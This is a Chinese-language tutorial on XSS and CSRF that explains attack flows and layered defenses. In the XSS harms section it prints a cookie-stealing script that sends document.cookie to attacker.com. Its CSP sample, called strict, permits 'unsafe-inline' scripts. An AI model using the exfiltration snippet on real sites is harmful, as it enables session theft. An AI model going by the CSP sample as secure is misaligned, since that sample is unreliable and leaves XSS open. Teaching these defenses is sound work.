Skip to content

Web 安全攻防:XSS 与 CSRF ​

XSS 与 CSRF 是 Web 安全领域最经典的两大攻击方式,它们的核心区别在于信任的滥用方向:XSS 是「网站信任了用户输入」,CSRF 是「网站信任了用户浏览器」。本篇从攻击原理、分类、防御策略到企业级纵深防御体系层层展开,既讲清「攻击如何发生」,也讲透「防御为何有效」。

导航目录 ​

一、跨站脚本攻击篇 ​

二、跨站请求伪造篇 ​

三、对比与实践篇 ​

跨站脚本攻击 (XSS) ​

本质与分类 ​

核心概念

XSS (Cross-Site Scripting) 攻击通过在网页中注入恶意脚本,在用户浏览器中执行来实现攻击目的。其本质是网站错误地信任了用户输入,把用户提供的数据当作代码执行。

XSS 攻击的基本流程如下:

text
攻击者构造恶意脚本 ──► 注入到网页/URL/数据库 ──► 受害者浏览器加载页面
  ──► 恶意脚本在受害者上下文执行 ──► 窃取 Cookie / 会话劫持 / 钓鱼
类型存储位置持久性攻击场景典型案例
反射型 XSSURL 参数非持久诱使用户点击恶意链接钓鱼邮件中的恶意链接
存储型 XSS服务器数据库/文件持久用户访问被篡改的页面论坛发帖注入恶意脚本
DOM 型 XSS客户端 DOM非持久操作客户端 DOM 触发浏览器插件或客户端脚本

三种 XSS 的关键区别

反射型与存储型的恶意数据都经过服务器(区别只在是否持久化);DOM 型则完全发生在浏览器端,恶意数据从 location.hash、document.referrer 等来源直接进入 DOM,服务器全程无感知,因此后端过滤对 DOM 型无效。

攻击原理与危害 ​

核心危害:

  1. 身份窃取:盗取用户会话 Cookie
    js
    <script>
      fetch(`https://attacker.com/steal?cookie=${document.cookie}`)
    </script>
  2. 钓鱼攻击:伪造登录表单窃取凭证
  3. 恶意软件传播:加载外部恶意资源
  4. 网站篡改:修改页面内容欺骗用户
  5. 会话劫持:利用窃取的 Cookie 冒充用户身份
  6. 键盘记录:监听用户输入,获取敏感信息

高级防御策略 ​

1. 输入过滤与消毒 ​

核心思路:对用户输入进行严格过滤,移除或转义潜在的恶意代码。

js
function sanitizeInput(input) {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

// 使用示例
const userInput = "<script>alert(1)</script>";
const safeOutput = sanitizeInput(userInput);
// 输出: &lt;script&gt;alert(1)&lt;/script&gt;

2. 上下文感知输出编码 ​

核心思路:根据输出位置的不同,采用不同的编码方式,确保恶意代码无法执行。

上下文编码方式示例
HTML 内容HTML 实体编码< → &lt;
HTML 属性属性值编码" → &quot;
JavaScriptUnicode 转义' → \u0027
URLURL 编码& → %26
CSSCSS 转义; → \3B

3. 内容安全策略 (CSP) ​

核心思路:通过 HTTP 头或 meta 标签,限制页面可以加载的资源来源,防止恶意脚本执行。

html
<!-- 严格 CSP 策略示例 -->
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
               img-src *;
               connect-src 'self';
               style-src 'self' 'unsafe-inline';
               frame-ancestors 'none'"
/>

核心思路:通过设置安全属性,防止 Cookie 被窃取或滥用。

js
// 安全 Cookie 设置
Set-Cookie: sessionId=abc123;
  HttpOnly;   // 禁止 JavaScript 访问
  Secure;     // 仅通过 HTTPS 传输
  SameSite=Lax; // 限制跨站发送
  Path=/;
  Max-Age=3600;

跨站请求伪造 (CSRF) ​

攻击原理 ​

核心概念

CSRF (Cross-Site Request Forgery) 攻击通过诱导用户在已登录的情况下访问恶意网站,利用用户的身份执行未授权操作。其本质是网站错误地信任了浏览器自动携带的 Cookie,无法区分请求是用户主动发起还是被恶意页面伪造。

攻击流程:

text
用户登录目标网站 ──► 浏览器持有会话 Cookie ──► 用户被诱导访问恶意网站
  ──► 恶意页面向目标网站发起请求 ──► 浏览器自动携带 Cookie ──► 目标网站误认为合法请求并执行
  1. 用户登录目标网站,获取会话 Cookie;
  2. 攻击者诱导用户访问恶意网站;
  3. 恶意网站向目标网站发送请求,浏览器自动携带用户的 Cookie;
  4. 目标网站验证 Cookie 通过后执行操作(如转账、改密码)。

高级防御策略 ​

1. CSRF Token 模式 ​

核心思路:为每个会话生成唯一的 Token,嵌入到表单或请求中,服务端验证 Token 有效性。

html
<!-- 表单中嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="RANDOM_STRING" />
  <!-- 其他表单字段 -->
</form>

<!-- 服务端验证 -->
app.post('/transfer', (req, res) => { if(req.body.csrf_token !==
req.session.csrf_token) { return res.status(403).send('Invalid CSRF Token'); }
// 处理转账逻辑 });

核心思路:将 CSRF Token 存储在 Cookie 中,同时在请求头中携带 Token,服务端验证两者是否一致。

javascript
// 前端设置自定义Cookie
fetch('/api/csrf-cookie', {credentials: 'include'});

// 请求中携带自定义Header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-TOKEN': getCookie('XSRF-TOKEN')
  },
  body: JSON.stringify({...})
});

核心思路:通过设置 Cookie 的 SameSite 属性,限制跨站请求时 Cookie 的发送。

策略跨站请求发送 Cookie适用场景
Strict❌ 完全禁止敏感操作
Lax△ GET 允许 POST 禁止通用设置(默认)
None✅ 允许需要跨站功能

4. 验证码挑战 ​

核心思路:在关键操作前要求用户输入验证码,防止自动化攻击。

html
<!-- 关键操作前要求验证码 -->
<form action="/delete-account" method="POST">
  <img src="/captcha" alt="验证码" />
  <input type="text" name="captcha" required />
  <button type="submit">确认删除</button>
</form>

XSS 与 CSRF 综合对比 ​

一句话区分

XSS 是「代码注入」——网站信任了用户输入;CSRF 是「身份冒用」——网站信任了浏览器 Cookie。 因此 XSS 防御围绕「数据处理」(编码、CSP),CSRF 防御围绕「来源确认」(Token、SameSite)。值得注意的是:一旦存在 XSS 漏洞,攻击者可读取 CSRF Token,使 CSRF 防御失效——所以 XSS 是更底层的风险。

特性XSSCSRF
攻击方向客户端 → 客户端第三方网站 → 目标网站
依赖条件需要注入点用户已登录目标站点
攻击载体恶意脚本伪造 HTTP 请求
防御重点输入输出处理请求来源验证
关键防御CSP、编码、HttpOnlyCSRF Token、SameSite Cookie
检测难度较高(多种变体)中等
危害范围广泛(数据、会话、客户端)特定操作(状态变更)
攻击目标窃取用户数据、会话执行未授权操作
技术复杂度中等较低

企业级防御最佳实践 ​

1. 自动化安全检测 ​

核心思路:使用自动化工具定期扫描应用,发现潜在的安全漏洞。

bash
# 使用 OWASP ZAP 进行自动化扫描

docker run -v $(pwd):/zap/wrk/:rw \
  -t owasp/zap2docker-stable zap-baseline.py \
  -t https://your-webapp.com \
  -g gen.conf \
  -r security-report.html

2. 深度防御策略 ​

核心思路:采用多层防御策略,确保即使某一层防御被突破,仍有其他层提供保护。

text
(自底向上纵深防御,任一层被突破上层仍兜底)
  第4层 应用层: 输入验证 + 输出编码
  第3层 会话层: CSRF Token + SameSite Cookie
  第2层 网络层: WAF + IDS/IPS
  第1层 浏览器层:CSP + 沙箱机制

纵深防御(Defense in Depth)

安全防护不能依赖单一手段。上图自底向上分为四层,任意一层被突破,上层仍能提供兜底保护——例如 XSS 绕过了应用层输出编码,浏览器层的 CSP 仍可拦截恶意脚本执行。

3. 关键操作保护 ​

核心思路:对敏感操作进行额外的保护,防止未授权执行。

javascript
// 敏感操作二次认证
function confirmCriticalAction(action) {
  return fetch("/verify-password", {
    method: "POST",
    body: JSON.stringify({ password: prompt("请输入密码确认") }),
  }).then((res) => {
    if (res.ok) return performAction(action);
    throw new Error("验证失败");
  });
}

4. 安全意识培训 ​

核心思路:定期对开发人员进行安全意识培训,提高代码质量和安全意识。

  • 了解常见攻击手法
  • 掌握安全编码规范
  • 定期进行安全测试
  • 建立安全评审机制

总结 ​

XSS 和 CSRF 是 Web 安全领域的核心威胁,防御需要分层策略:

  1. XSS 防御:以输出编码为核心,CSP 为防线,HttpOnly 为保险
  2. CSRF 防御:CSRF Token 为基础,SameSite Cookie 为补充,关键操作添加验证码
  3. 综合防护:结合 WAF、安全扫描、持续监控构建纵深防御体系

最佳实践:

  • 始终对用户输入进行验证和过滤
  • 根据上下文选择合适的编码方式
  • 实施严格的内容安全策略
  • 为关键操作添加额外的验证机制
  • 定期进行安全测试和培训

通过实施这些策略,可有效提升 Web 应用安全性,保护用户数据和业务资源。

结语:安全的本质是「信任的边界」

两类攻击的根源都是「信任被滥用」——XSS 是网站过度信任了用户输入的内容,CSRF 是网站过度信任了浏览器自动携带的身份凭证。面试时能从这个视角切入,比罗列防御手段更能体现深度:明确「谁信任谁」,就能推导出「在哪里打破这份信任」,防御方案自然水到渠成。